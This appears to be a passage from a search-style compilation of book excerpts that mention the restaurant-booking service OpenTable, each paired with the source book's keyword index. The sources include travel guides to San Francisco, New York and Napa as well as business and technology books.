For Google to remind me to buy currants the next time I’m at my local supermarket, it has to know where I am at all times, keep track of a particular location I’ve asked for, and bring up the reminder in that context. For Siri to make me a reservation at Camino, it needs to know that Camino is a restaurant in Oakland, and that it is open tonight, and it must allow conversations between machines, so that my phone can lay claim to a table from the restaurant’s reservation system via a service like OpenTable. And then it may call other services, either on my devices or in the cloud, to add the reservation to my calendar or to notify friends, so that yet another agent can remind all of us when it is time to leave for our dinner date. And then there are the alerts that I didn’t ask for, like Google’s warnings: “Leave now to get to the airport on time. 25 minute delay on the Bay Bridge.” or “There is traffic ahead.
The participants in many of those platforms are individuals and businesses operating in the real world of goods and services: the host offering a room on Airbnb, the driver offering a ride on Lyft or Uber, all entrepreneurs of a sort. The iPhone and Android app stores don’t just offer products from Apple and Google; they are platforms for independent developers. Facebook and YouTube depend on both their creators and their consumers. Search engines, Yelp, OpenTable, and other similar sites succeed to the extent that they drive traffic to other businesses, not just to themselves. If they are to break free from the mistakes of the failed philosophy of current financial markets, which too often hollow out the real economy and increase inequality, these platform companies must commit themselves to the health and sustainability of their partner ecosystems. This is not just a matter of idealism.
Pocket New York City Travel Guide by Lonely Planet
The trucks ply various routes, stopping in designated parking zones throughout the city – namely around Union Sq, Midtown and the Financial District. Our favourites are Big Gay Ice Cream Truck (www.twitter.com/biggayicecream), Korilla BBQ (www.twitter.com/korillabbq) and Calexico Cart (www.twitter.com/calexiconyc). Top Tips › Reserve a table at a number of restaurants around the city using Open Table (www.opentable.com). Best for Old-School NYC Katz’s Delicatessen Classic pastrami on rye is the name of the game at this New York stalwart and tourist haven. (Click here) Zabar’s New York Jewish charm fills the knish-tinged air on the Upper West Side. (Click here) William Greenberg Desserts Sweet treats à la New York yenta await: hamantaschen (you’ll see) and the best black-and-white cookies around.
Hyperfocus: How to Be More Productive in a World of Distraction by Chris Bailey
"side hustle", Albert Einstein, Any sufficiently advanced technology is indistinguishable from magic, Cal Newport, Chuck Templeton: OpenTable:, Clayton Christensen, correlation does not imply causation, deliberate practice, functional fixedness, game design, knowledge economy, knowledge worker, Parkinson's law, randomized controlled trial, Richard Feynman, Skype, twin studies, Zipcar
This speaks to a trap we increasingly face: bringing new devices into our lives without first questioning their value. Clayton Christensen, a professor at Harvard Business School, developed a useful way of assessing the devices in your life: question what “jobs” you “hire” devices to do for you. Every product we buy should do a job for us—we hire Kleenex to blow our nose; Uber to get from one place to another; OpenTable to book a table at a restaurant; Match.com to find a partner. We hire our phones to do a lot of these “jobs,” maybe more than any other product we own. We hire them to be an alarm clock, camera, timepiece, GPS navigator, video game console, email and messaging machine, boarding pass, music player, radio, subway pass, datebook, map, and so much more. It’s no wonder we spend so much time on them.
Frommer's San Francisco 2012 by Matthew Poole, Erika Lenkert, Kristin Luna
airport security, Albert Einstein, Bay Area Rapid Transit, California gold rush, car-free, centre right, Chuck Templeton: OpenTable:, El Camino Real, glass ceiling, Golden Gate Park, Haight Ashbury, Loma Prieta earthquake, Mason jar, Maui Hawaii, place-making, Port of Oakland, post-work, sensible shoes, Silicon Valley, South of Market, San Francisco, Torches of Freedom, transcontinental railway, urban renewal, Works Progress Administration, young professional
Helena to enjoy a meal by Hiro Sone, James Beard Award winner and master of Japanese, French, and Italian cuisine. • Best for Impressing Clients: Show your business associates you’ve got class—and know what’s hip with the foodies these days—by reserving a table at the Financial District’s Wayfare Tavern, 558 Sacramento St. ( 415/772-9060). E-Reservations Want to book your reservations online? Go to www.opentable.com, where you can save seats at restaurants in San Francisco and the rest of the Bay Area in real time. • Best Romantic Spot: Anyone who loves classic French cooking will be seduced at Fleur de Lys, 777 Sutter St. ( 415/673-7779), under the rich burgundy-tented canopy that swathes the elegant room in romance. There’s lots of question-popping here, too. • Best for a Celebration: Great food, a full bar, and a lively atmosphere are the key ingredients that make Boulevard, 1 Mission St. ( 415/543-6084), the place to celebrate.
The staff is well acquainted with the wide selection of regional wines; there’s a $50 corkage fee if you bring your own bottle, which is only welcome if it’s not on the list. Hint: If you can’t get a reservation, try walking in—no-shows are rare but possible, especially during lunch on rainy days. Reservations are accepted 2 months in advance of the date, starting at 10am. Anticipate hitting redial many times. Also, insiders tell me that fewer people call on weekends, so you have a better chance at getting beyond the busy signal. You can also try www.opentable.com, though online reservations are still taken 2 months in advance. 6640 Washington St. (at Creek St.). 707/944-2380. www.frenchlaundry.com. Reservations required. Dress code: no jeans, shorts, or tennis shoes; men should wear jackets; ties optional. 9-course tasting menu (including vegetarian option) $250. AE, MC, V. Fri–Sun 11am–1pm; daily 5:30–9:15pm. A sous chef perfects a dish at the French Laundry.
Frommer's New York City Day by Day by Hilary Davidson
It started more than a decade ago when some of the city’s best dining spots began to offer three courses for a fixed low price at lunch ($20) and dinner ($35). Now it’s an institution—and lasts for several weeks. Some restaurants offer prix-fixe menus year-round or have discounted menus on certain days or times. For example, the 21 Club (21 W 52nd St., btwn Fifth & Sixth aves; (y 212/ 582-7200) has a $37 prix fixe if you’re seated by 6:30pm. Check out www.opentable.com or www.nycvisit.com for more information on Restaurant Week and participating restaurants. Once a speakeasy, the 21 Club has a legendary Prohibition-era wine cellar. outside of Astoria, but this lovely spot is a great find. Dishes, like the pan-seared sole, are lightly treated with olive oil and lemon to enhance the natural flavors. 197 Franklin St. (btwn Greenwich & Hudson sts.). y 212/941-7661.
The Inner Lives of Markets: How People Shape Them—And They Shape Us by Tim Sullivan
"Robert Solow", Airbnb, airport security, Al Roth, Alvin Roth, Andrei Shleifer, attribution theory, autonomous vehicles, barriers to entry, Brownian motion, business cycle, buy and hold, centralized clearinghouse, Chuck Templeton: OpenTable:, clean water, conceptual framework, constrained optimization, continuous double auction, creative destruction, deferred acceptance, Donald Trump, Edward Glaeser, experimental subject, first-price auction, framing effect, frictionless, fundamental attribution error, George Akerlof, Goldman Sachs: Vampire Squid, Gunnar Myrdal, helicopter parent, information asymmetry, Internet of things, invisible hand, Isaac Newton, iterative process, Jean Tirole, Jeff Bezos, Johann Wolfgang von Goethe, John Nash: game theory, John von Neumann, Joseph Schumpeter, Kenneth Arrow, late fees, linear programming, Lyft, market clearing, market design, market friction, medical residency, multi-sided market, mutually assured destruction, Nash equilibrium, Occupy movement, Pareto efficiency, Paul Samuelson, Peter Thiel, pets.com, pez dispenser, pre–internet, price mechanism, price stability, prisoner's dilemma, profit motive, proxy bid, RAND corporation, ride hailing / ride sharing, Robert Shiller, Robert Shiller, Ronald Coase, school choice, school vouchers, sealed-bid auction, second-price auction, second-price sealed-bid, sharing economy, Silicon Valley, spectrum auction, Steve Jobs, Tacoma Narrows Bridge, technoutopianism, telemarketer, The Market for Lemons, The Wisdom of Crowds, Thomas Malthus, Thorstein Veblen, trade route, transaction costs, two-sided market, uber lyft, uranium enrichment, Vickrey auction, Vilfredo Pareto, winner-take-all economy
This is because most retailers charge the same price for all transactions, regardless of whether they involve credit, debit, or cash, or whether the charge goes to a high-fee card like Amex or a lower-fee Visa, MasterCard, or Discover. The retailer might like to charge 3 percent more for high-commission card sales, but they don’t; instead, they charge a “blended” price to all customers.16 Think credit card companies are the only ones? Think again. The internet has empowered dozens of intermediaries to pull the same stunt: OpenTable, the online reservation platform, gives cash rewards to diners, but they don’t see an extra charge from restaurants. Expedia, the online travel booking platform, hands out reward points, but your flight costs the same whether you book through them or directly on an airline’s website—the list goes on and on. This might sound like a fantastic deal for you, the consumer—after all, airlines, restaurants, and stores are footing the bill, and you’re reaping the benefits—until you stop to consider the fact that you might be happier carrying around a bit more cash and getting a 3 percent discount when you use it, rather than a 1 percent cash rebate from Visa.
Blitzscaling: The Lightning-Fast Path to Building Massively Valuable Companies by Reid Hoffman, Chris Yeh
activist fund / activist shareholder / activist investor, Airbnb, Amazon Web Services, autonomous vehicles, bitcoin, blockchain, Bob Noyce, business intelligence, Chuck Templeton: OpenTable:, cloud computing, crowdsourcing, cryptocurrency, Daniel Kahneman / Amos Tversky, database schema, discounted cash flows, Elon Musk, Firefox, forensic accounting, George Gilder, global pandemic, Google Hangouts, Google X / Alphabet X, hydraulic fracturing, Hyperloop, inventory management, Isaac Newton, Jeff Bezos, Joi Ito, Khan Academy, late fees, Lean Startup, Lyft, M-Pesa, Marc Andreessen, margin call, Mark Zuckerberg, minimum viable product, move fast and break things, move fast and break things, Network effects, Oculus Rift, oil shale / tar sands, Paul Buchheit, Paul Graham, Peter Thiel, pre–internet, recommendation engine, ride hailing / ride sharing, Sam Altman, Sand Hill Road, Saturday Night Live, self-driving car, shareholder value, sharing economy, Silicon Valley, Silicon Valley startup, Skype, smart grid, social graph, software as a service, software is eating the world, speech recognition, stem cell, Steve Jobs, subscription business, Tesla Model S, thinkpad, transaction costs, transport as a service, Travis Kalanick, Uber for X, uber lyft, web application, winner-take-all economy, Y Combinator, yellow journalism
Founded August 1997, Scotts Valley, CA PAYPAL PayPal.com PayPal operates a worldwide online payments system that supports online money transfers and serves as an electronic alternative to traditional paper methods like checks and money orders. Founded December 1998, Palo Alto, CA PRICELINE Priceline.com Priceline provides online travel and related services to consumers and local partners. Its primary brands are Booking.com, priceline.com, agoda.com, KAYAK, Rentalcars.com, and OpenTable. Founded 1997, Stamford, CT ROCKET MORTGAGE RocketMortgage.com Through the Rocket Mortgage website or mobile app, users can upload financial details and get a mortgage loan decision in minutes. Quicken Loans launched Rocket Mortgage in November 2015, Detroit, MI SALESFORCE.com Salesforce.com Salesforce.com provides cloud-based applications for sales, service, and marketing, as well as enabling partners to offer and run their own solutions on the Salesforce Platform.
Our Final Invention: Artificial Intelligence and the End of the Human Era by James Barrat
AI winter, AltaVista, Amazon Web Services, artificial general intelligence, Asilomar, Automated Insights, Bayesian statistics, Bernie Madoff, Bill Joy: nanobots, brain emulation, cellular automata, Chuck Templeton: OpenTable:, cloud computing, cognitive bias, commoditize, computer vision, cuban missile crisis, Daniel Kahneman / Amos Tversky, Danny Hillis, data acquisition, don't be evil, drone strike, Extropian, finite state, Flash crash, friendly AI, friendly fire, Google Glasses, Google X / Alphabet X, Isaac Newton, Jaron Lanier, John Markoff, John von Neumann, Kevin Kelly, Law of Accelerating Returns, life extension, Loebner Prize, lone genius, mutually assured destruction, natural language processing, Nicholas Carr, optical character recognition, PageRank, pattern recognition, Peter Thiel, prisoner's dilemma, Ray Kurzweil, Rodney Brooks, Search for Extraterrestrial Intelligence, self-driving car, semantic web, Silicon Valley, Singularitarianism, Skype, smart grid, speech recognition, statistical model, stealth mode startup, stem cell, Stephen Hawking, Steve Jobs, Steve Wozniak, strong AI, Stuxnet, superintelligent machines, technological singularity, The Coming Technological Singularity, Thomas Bayes, traveling salesman, Turing machine, Turing test, Vernor Vinge, Watson beat the top human players on Jeopardy!, zero day
Whenever you use Siri it is Nuance’s algorithms that perform the speech recognition part of its magic. Speech recognition is the art of translating the spoken word to text (not to be confused with NLP, extracting meaning from written words). After Siri translates your query into text, its three other main talents come into play: its NLP facility, searching a vast knowledge database, and interacting with Internet search providers, such as OpenTable, Movietickets, and Wolfram|Alpha. IBM's Watson is kind of a Siri on steroids, and a champion at NLP. In February 2011, it employed both brain-derived and brain-inspired systems to achieve an impressive victory against human contestants on Jeopardy! Like chess champion computer Deep Blue, Watson is IBM’s way of showing off its computing know-how while moving the ball down the field for AI. The long-running game show promised a formidable challenge because of its open domain of clues and its wordplay.
A Crack in Creation: Gene Editing and the Unthinkable Power to Control Evolution by Jennifer A. Doudna, Samuel H. Sternberg
3D printing, Asilomar, Asilomar Conference on Recombinant DNA, carbon footprint, Chuck Templeton: OpenTable:, double helix, Drosophila, Mark Zuckerberg, microbiome, mouse model, phenotype, Ralph Waldo Emerson, Richard Feynman, Silicon Valley, Skype, stem cell, Steven Pinker
The meeting, which we held on January 24, 2015, featured spirited discussions on a wide range of topics. The attendees, seventeen in all, gave formal presentations on gene therapy and germline enhancement, on existing regulations that governed genetically modified products, and on the nitty-gritty details of CRISPR. Even more interesting than these presentations, in my opinion, were the group’s open-table deliberations about the future of gene editing. These conversations were enthusiastic and creative, covering topics I had previously grappled with only on my own. As we began discussing authorship of a white paper summarizing our conclusions, we debated who our target audience should be and what kind of outcome we were hoping to achieve. Should we be dealing with all the repercussions of using CRISPR—including new kinds of GMOs and even designer organisms—not just its potential role in germline editing?
What Algorithms Want: Imagination in the Age of Computing by Ed Finn
Airbnb, Albert Einstein, algorithmic trading, Amazon Mechanical Turk, Amazon Web Services, bitcoin, blockchain, Chuck Templeton: OpenTable:, Claude Shannon: information theory, commoditize, Credit Default Swap, crowdsourcing, cryptocurrency, disruptive innovation, Donald Knuth, Douglas Engelbart, Douglas Engelbart, Elon Musk, factory automation, fiat currency, Filter Bubble, Flash crash, game design, Google Glasses, Google X / Alphabet X, High speed trading, hiring and firing, invisible hand, Isaac Newton, iterative process, Jaron Lanier, Jeff Bezos, job automation, John Conway, John Markoff, Just-in-time delivery, Kickstarter, late fees, lifelogging, Loebner Prize, Lyft, Mother of all demos, Nate Silver, natural language processing, Netflix Prize, new economy, Nicholas Carr, Norbert Wiener, PageRank, peer-to-peer, Peter Thiel, Ray Kurzweil, recommendation engine, Republic of Letters, ride hailing / ride sharing, Satoshi Nakamoto, self-driving car, sharing economy, Silicon Valley, Silicon Valley ideology, Silicon Valley startup, social graph, software studies, speech recognition, statistical model, Steve Jobs, Steven Levy, Stewart Brand, supply-chain management, TaskRabbit, technological singularity, technoutopianism, The Coming Technological Singularity, the scientific method, The Signal and the Noise by Nate Silver, The Structural Transformation of the Public Sphere, The Wealth of Nations by Adam Smith, transaction costs, traveling salesman, Turing machine, Turing test, Uber and Lyft, Uber for X, uber lyft, urban planning, Vannevar Bush, Vernor Vinge, wage slave
The Twin Quests for Knowledge The back end or deep structure of Google’s Star Trek computer is the core of Google’s business: the indexing algorithms, data storage, and information management tools that have made it the world’s leading searching engine. I address the well-known foundations of that architecture in chapter 5, but here I want to talk about the rough edges where Google is expanding its ambitions deeper into Encyclopédie territory: a sweeping new ontological project called KnowledgeGraph. Where Siri depends on a relatively small set of curated data taxonomies (e.g., data from OpenTable might include restaurant names, phone numbers, calendar availabilities, and so on), KnowledgeGraph attempts to create similar mappings on the full swath of data available to Google from its search crawlers. KnowledgeGraph is an open ontology, drawing information from “controlled” sources like Wikipedia that are primarily human-edited, but also from the unstructured data of all the web pages Google scans.37 The KnowledgeGraph approach echoes both Diderot and his antecedents, particularly the universalist dream of Leibniz’s mathesis universalis.
Fodor's California 2014 by Fodor's
1960s counterculture, active transport: walking or cycling, affirmative action, Asilomar, Bay Area Rapid Transit, big-box store, California gold rush, car-free, centre right, Charles Lindbergh, Chuck Templeton: OpenTable:, Donner party, Downton Abbey, East Village, El Camino Real, Frank Gehry, Golden Gate Park, Haight Ashbury, housing crisis, Kickstarter, Maui Hawaii, Mikhail Gorbachev, Ronald Reagan, Saturday Night Live, Silicon Valley, South of Market, San Francisco, trade route, transcontinental railway, urban renewal, urban sprawl, white picket fence, Works Progress Administration, young professional
We only mention reservations specifically when they are essential (there’s no other way you’ll ever get a table) or when they are not accepted. For popular restaurants, book as far ahead as you can (often 30 days), and reconfirm as soon as you arrive. (Large parties should always call ahead to check the reservations policy.) We mention dress only when men are required to wear a jacket or a jacket and tie. Online reservation services make it easy to book a table before you even leave home. OpenTable covers many California cities. Contacts OpenTable. | www.opentable.com. Wines, Beer, and Spirits Throughout the state, most famously in the Napa and Sonoma valleys, you can visit wineries, many of which have tasting rooms and offer tours. Microbreweries are an emerging trend in the state’s cities and in some rural areas in northern California. The legal drinking age is 21. Health Do not fly within 24 hours of scuba diving.
Classics like saag paneer (spinach with Indian cheese), aloo gobhi (potato, cauliflower, and spices), and bengan bartha (roasted eggplant with onions and spices) are also excellent. The chef wants to keep his clientele around for the long haul, too, and puts a little “heart healthy” icon next to some of the menu items. On Friday and Saturday nights famished patrons overflow onto the sidewalk as they wait for open tables. If you try to linger over a mango lassi or an order of the excellent kheer (rice pudding) on one of these nights, you’ll probably be hurried along by a waiter. For better service, come on a slower weeknight or for lunch. | Average main: $16 | 233 Fillmore St., Lower Haight | 94117 | 415/626–1628. Nopa. AMERICAN | In the mid-2000s North of the Panhandle became the city’s newest talked-about neighborhood in part because of the big, bustling Nopa, which was cleverly named after it.
Zero to Sold: How to Start, Run, and Sell a Bootstrapped Business by Arvid Kahl
"side hustle", business process, centre right, Chuck Templeton: OpenTable:, continuous integration, coronavirus, COVID-19, Covid-19, crowdsourcing, domain-specific language, financial independence, Google Chrome, if you build it, they will come, information asymmetry, information retrieval, inventory management, Jeff Bezos, job automation, Kubernetes, minimum viable product, Network effects, performance metric, post-work, premature optimization, risk tolerance, Ruby on Rails, sentiment analysis, Silicon Valley, software as a service, source of truth, statistical model, subscription business, supply-chain management, trickle-down economics, web application
The bootstrapped SaaS world may not have been affected by the pandemic as much as other industries, but we saw second-order effects appearing quickly. For example, you may not be affected by a temporary closure of bars and restaurants directly. Still, if you're running a business that sells to these establishments or those they rely on, you'll see some changes in the future. For SaaS businesses like OpenTable, this happened very quickly, as they saw bookings going down 50% and more within days. This development had a trickle-down effect into many adjacent industries, in the same sector and beyond. Online Sports Betting Platforms, a kind of business that did well in prior recessions, found themselves in a tight spot at the beginning of the pandemic. With most sports leagues suspended or canceled, their revenue streams, which usually picked up when the economy tanked, started to dwindle.
The Everything Store: Jeff Bezos and the Age of Amazon by Brad Stone
airport security, Amazon Mechanical Turk, Amazon Web Services, bank run, Bernie Madoff, big-box store, Black Swan, book scanning, Brewster Kahle, buy and hold, call centre, centre right, Chuck Templeton: OpenTable:, Clayton Christensen, cloud computing, collapse of Lehman Brothers, crowdsourcing, cuban missile crisis, Danny Hillis, Douglas Hofstadter, Elon Musk, facts on the ground, game design, housing crisis, invention of movable type, inventory management, James Dyson, Jeff Bezos, John Markoff, Kevin Kelly, Kodak vs Instagram, late fees, loose coupling, low skilled workers, Maui Hawaii, Menlo Park, Network effects, new economy, optical character recognition, pets.com, Ponzi scheme, quantitative hedge fund, recommendation engine, Renaissance Technologies, RFID, Rodney Brooks, search inside the book, shareholder value, Silicon Valley, Silicon Valley startup, six sigma, skunkworks, Skype, statistical arbitrage, Steve Ballmer, Steve Jobs, Steven Levy, Stewart Brand, Thomas L Friedman, Tony Hsieh, Whole Earth Catalog, why are manhole covers round?, zero-sum game
Others felt Bezos didn’t listen to them and that he wasn’t about to start. Almost all figured that Amazon’s best days were behind it. The company reached incredible levels of attrition in 2002 and 2003. “The number of employees at that point other than Jeff who thought he could turn it into an eighty-billion-dollar company—that’s a short list,” says Doug Boake, who departed for the Silicon Valley startup OpenTable. “He just never stopped believing. He never blinked once.” They all had their reasons. David Risher left to teach at the University of Washington’s business school. Joel Spiegel wanted to spend more time with his three teenage kids before they left home. Mark Britto wanted to get back to the Bay Area. Harrison Miller was exhausted and needed a change. Chris Payne left for Microsoft, where he would help launch the Bing search engine, after which he would end up as a top executive at eBay.
The Digital Doctor: Hope, Hype, and Harm at the Dawn of Medicine’s Computer Age by Robert Wachter
"Robert Solow", activist fund / activist shareholder / activist investor, Affordable Care Act / Obamacare, AI winter, Airbnb, Atul Gawande, Captain Sullenberger Hudson, Checklist Manifesto, Chuck Templeton: OpenTable:, Clayton Christensen, collapse of Lehman Brothers, computer age, creative destruction, crowdsourcing, deskilling, disruptive innovation, en.wikipedia.org, Erik Brynjolfsson, everywhere but in the productivity statistics, Firefox, Frank Levy and Richard Murnane: The New Division of Labor, Google Glasses, Ignaz Semmelweis: hand washing, Internet of things, job satisfaction, Joseph Schumpeter, Kickstarter, knowledge worker, lifelogging, medical malpractice, medical residency, Menlo Park, minimum viable product, natural language processing, Network effects, Nicholas Carr, obamacare, pattern recognition, peer-to-peer, personalized medicine, pets.com, Productivity paradox, Ralph Nader, RAND corporation, Second Machine Age, self-driving car, Silicon Valley, Silicon Valley startup, six sigma, Skype, Snapchat, software as a service, Steve Jobs, Steven Levy, the payments system, The Wisdom of Crowds, Thomas Bayes, Toyota Production System, Uber for X, US Airways Flight 1549, Watson beat the top human players on Jeopardy!, Yogi Berra
Before I go any further, it’s important that you understand that I am all for the wiring of healthcare. I bought my first computer in 1984, back when one inserted and ejected floppy disks so often (“Insert MacWrite Disk 2”) that the machine felt more like an infuriating toaster than a sparkling harbinger of a new era. Today, I can’t live without my MacBook Pro, iPad, iPhone, Facetime, Twitter, OpenTable, and Evernote. I even blog and tweet. In other words, I am a typical electronically overendowed American. And healthcare needs to be disrupted. Despite being staffed with (mostly) well-trained and committed doctors and nurses, our system delivers evidence-based care only about half the time, kills a jumbo jet’s worth of patients each day from medical mistakes, and is bankrupting the country. Patients and policy makers are no longer willing to tolerate the status quo, and they’re right not to.
The Black Box Society: The Secret Algorithms That Control Money and Information by Frank Pasquale
Affordable Care Act / Obamacare, algorithmic trading, Amazon Mechanical Turk, American Legislative Exchange Council, asset-backed security, Atul Gawande, bank run, barriers to entry, basic income, Berlin Wall, Bernie Madoff, Black Swan, bonus culture, Brian Krebs, business cycle, call centre, Capital in the Twenty-First Century by Thomas Piketty, Chelsea Manning, Chuck Templeton: OpenTable:, cloud computing, collateralized debt obligation, computerized markets, corporate governance, Credit Default Swap, credit default swaps / collateralized debt obligations, crowdsourcing, cryptocurrency, Debian, don't be evil, drone strike, Edward Snowden, en.wikipedia.org, Fall of the Berlin Wall, Filter Bubble, financial innovation, financial thriller, fixed income, Flash crash, full employment, Goldman Sachs: Vampire Squid, Google Earth, Hernando de Soto, High speed trading, hiring and firing, housing crisis, informal economy, information asymmetry, information retrieval, interest rate swap, Internet of things, invisible hand, Jaron Lanier, Jeff Bezos, job automation, Julian Assange, Kevin Kelly, knowledge worker, Kodak vs Instagram, kremlinology, late fees, London Interbank Offered Rate, London Whale, Marc Andreessen, Mark Zuckerberg, mobile money, moral hazard, new economy, Nicholas Carr, offshore financial centre, PageRank, pattern recognition, Philip Mirowski, precariat, profit maximization, profit motive, quantitative easing, race to the bottom, recommendation engine, regulatory arbitrage, risk-adjusted returns, Satyajit Das, search engine result page, shareholder value, Silicon Valley, Snapchat, social intelligence, Spread Networks laid a new fibre optics cable between New York and Chicago, statistical arbitrage, statistical model, Steven Levy, the scientific method, too big to fail, transaction costs, two-sided market, universal basic income, Upton Sinclair, value at risk, WikiLeaks, zero-sum game
Software encodes thousands of rules and instructions computed in a fraction of a second. Such automated processes have long guided our planes, run the physical backbone of the Internet, and interpreted our GPSes. In short, they improve the quality of our daily lives in ways both noticeable and not. But where do we call a halt? Similar protocols also influence— invisibly—not only the route we take to a new restaurant, but which restaurant Google, Yelp, OpenTable, or Siri recommends to us. They might help us fi nd reviews of the car we drive. Yet choosing a car, or even a restaurant, is not as straightforward as optimizing an engine or routing a drive. Does the recommendation engine take into account, say, whether the restaurant or car company gives its workers health benefits or maternity leave? Could we prompt it to do so? In their race for the most profitable methods of mapping social reality, the data scientists of Silicon Valley and Wall Street tend to treat recommendations as purely technical problems.
Western USA by Lonely Planet
airport security, Albert Einstein, Apple II, Asilomar, back-to-the-land, Bay Area Rapid Transit, Burning Man, California gold rush, call centre, car-free, carbon footprint, Charles Lindbergh, Chuck Templeton: OpenTable:, Donner party, East Village, edge city, Electric Kool-Aid Acid Test, Frank Gehry, global village, Golden Gate Park, Haight Ashbury, haute couture, haute cuisine, illegal immigration, intermodal, Joan Didion, Kickstarter, Loma Prieta earthquake, Mahatma Gandhi, Mars Rover, Maui Hawaii, off grid, Silicon Valley, Silicon Valley startup, South of Market, San Francisco, starchitect, stealth mode startup, stem cell, Steve Jobs, Steve Wozniak, supervolcano, trade route, transcontinental railway, Upton Sinclair, urban planning, women in the workforce, Works Progress Administration, young professional, Zipcar
Ubuntu VEGETARIAN $$$ ( 707-251-5656; www.ubuntunapa.com; 1140 Main St, Napa; dishes $14-18; 11:30am-2:30pm Sat & Sun, 5:30-8:30pm daily; ) The Michelin-starred seasonal, vegetarian menu features wonders from the kitchen garden, satisfying hearty eaters with four-to-five inspired small plates, and eco-savvy drinkers with 100-plus sustainably produced wines. French Laundry CALIFORNIAN $$$ ( 707-944-2380; www.frenchlaundry.com; 6640 Washington St, Yountville; fixed-price menu $270; 11:30am-2:30pm Sat & Sun, 5:30-9pm daily) A high-wattage culinary experience on par with the world’s best, French Laundry is ideal for marking lifetime achievements. Book exactly two months ahead: call at 10am (or try OpenTable.com at midnight). If you can’t score a table, console yourself at Keller’s nearby note-perfect French brasserie Bouchon; or with chocolate cake at Bouchon Bakery. SONOMA VALLEY More casual, less commercial than Napa, Sonoma Valley has 70 wineries around Hwy 12 – and unlike Napa, most welcome picnicking. Sights & Activities Sonoma Plaza SQUARE (Napa, Spain & 1st Sts, Sonoma) Downtown Sonoma was once the capital of a rogue nation.
Frommer's California 2007 by Harry Basch, Mark Hiss, Erika Lenkert, Matthew Richard Poole
airport security, Asilomar, Bay Area Rapid Transit, car-free, Charles Lindbergh, Chuck Templeton: OpenTable:, clean water, Columbine, Donald Trump, Donner party, East Village, El Camino Real, Electric Kool-Aid Acid Test, Frank Gehry, Golden Gate Park, Guggenheim Bilbao, Haight Ashbury, indoor plumbing, Iridium satellite, Joan Didion, Maui Hawaii, Silicon Valley, South of Market, San Francisco, sustainable-tourism, transcontinental railway, upwardly mobile, urban sprawl, white picket fence, Works Progress Administration
Hint: If you can’t get a reservation, try walking in—no-shows are rare but possible, especially during lunch on rainy days. Reservations are accepted 2 months in advance of the date, starting at 10am. Anticipate hitting redial many times for the best chance. Also, insiders tell me that fewer people call on weekends, so you have a better chance at getting beyond the busy signal. You can now also try www.opentable.com, though online reservations are still done 2 months in advance). 6640 Washington St. (at Creek St.), Yountville. & 707/944-2380. www.frenchlaundry.com. Reservations required. Dress code: No jeans, shorts or tennis shoes; men should wear jackets; ties optional. 9-course chef’s tasting menu or 9-course vegetable menu $210, including service. AE, MC, V. Fri–Sun 11am–1pm; daily 5:30–9pm. CONTEMPORARY AMERICAN Just before the crazy storms and floods of late 2005, chef Richard Reddington opened his own restaurant, cleverly named Redd.
USA Travel Guide by Lonely, Planet
1960s counterculture, active transport: walking or cycling, Affordable Care Act / Obamacare, Albert Einstein, Asilomar, Bay Area Rapid Transit, Berlin Wall, Big bang: deregulation of the City of London, big-box store, bike sharing scheme, Bretton Woods, British Empire, Burning Man, California gold rush, call centre, car-free, carbon footprint, centre right, Charles Lindbergh, Chuck Templeton: OpenTable:, cuban missile crisis, desegregation, Donald Trump, Donner party, East Village, edge city, El Camino Real, Fall of the Berlin Wall, feminist movement, Frank Gehry, glass ceiling, global village, Golden Gate Park, Guggenheim Bilbao, Haight Ashbury, haute couture, haute cuisine, Hernando de Soto, Howard Zinn, illegal immigration, immigration reform, information trail, interchangeable parts, intermodal, jitney, Kickstarter, license plate recognition, Mars Rover, Mason jar, mass immigration, Maui Hawaii, McMansion, Menlo Park, Monroe Doctrine, new economy, New Urbanism, obamacare, off grid, Ralph Nader, Ralph Waldo Emerson, RFID, ride hailing / ride sharing, Ronald Reagan, Rosa Parks, Saturday Night Live, Silicon Valley, South of Market, San Francisco, starchitect, stealth mode startup, stem cell, supervolcano, the built environment, The Chicago School, the High Line, the payments system, trade route, transcontinental railway, union organizing, Upton Sinclair, upwardly mobile, urban decay, urban planning, urban renewal, urban sprawl, walkable city, white flight, working poor, Works Progress Administration, young professional, Zipcar
Ubuntu VEGETARIAN $$$ ( 707-251-5656; www.ubuntunapa.com; 1140 Main St, Napa; dishes $14-18; 11:30am-2:30pm Sat & Sun, 5:30-8:30pm daily; ) The Michelin-starred seasonal, vegetarian menu features wonders from the kitchen garden, satisfying hearty eaters with four-to-five inspired small plates, and eco-savvy drinkers with 100-plus sustainably produced wines. French Laundry CALIFORNIAN $$$ ( 707-944-2380; www.frenchlaundry.com; 6640 Washington St, Yountville; fixed-price menu $270; 11:30am-2:30pm Sat & Sun, 5:30-9pm daily) A high-wattage culinary experience on par with the world’s best, French Laundry is ideal for marking lifetime achievements. Book exactly two months ahead: call at 10am (or try OpenTable.com at midnight). If you can’t score a table, console yourself at Keller’s nearby note-perfect French brasserie Bouchon; or with chocolate cake at Bouchon Bakery. SONOMA VALLEY More casual, less commercial than Napa, Sonoma Valley has 70 wineries around Hwy 12 – and unlike Napa, most welcome picnicking. Sights & Activities Sonoma Plaza SQUARE (Napa, Spain & 1st Sts, Sonoma) Downtown Sonoma was once the capital of a rogue nation.
Lessons-Learned-in-Software-Testing-A-Context-Driven-Approach by Anson-QA
anti-pattern, Chuck Templeton: OpenTable:, finite state, framing effect, full employment, information retrieval, job automation, knowledge worker, lateral thinking, Ralph Nader, Richard Feynman, side project, Silicon Valley, statistical model, web application
Table 3.7: Adding a Fourth Variable to the All-Pairs Matrix Open table as spreadsheet VARIABLE 1 VARIABLE 2 VARIABLE 3 VARIABLE 4 A X 1 E A Y 0 F B X 0 F B Y 1 E C X 1 F C Y 0 E Watch this first attempt on Column 5 (see Table 3.8). It achieves all pairs of GH with Columns 1, 2, and 3 but misses it for Column 4. Table 3.8: Adding a Fifth Variable to the All-Pairs Matrix. (This one doesn't work, but it illustrates how to make a guess and then recover if you guess incorrectly.) Open table as spreadsheet VARIABLE 1 VARIABLE 2 VARIABLE 3 VARIABLE 4 VARIABLE 5 A X 1 E G 67 Table 3.8: Adding a Fifth Variable to the All-Pairs Matrix. (This one doesn't work, but it illustrates how to make a guess and then recover if you guess incorrectly.) Open table as spreadsheet VARIABLE 1 VARIABLE 2 VARIABLE 3 VARIABLE 4 VARIABLE 5 A Y 0 F H B X 0 F H B Y 1 E G C X 1 F H C Y 0 E G The most recent arbitrary choice was HG in the BB section.
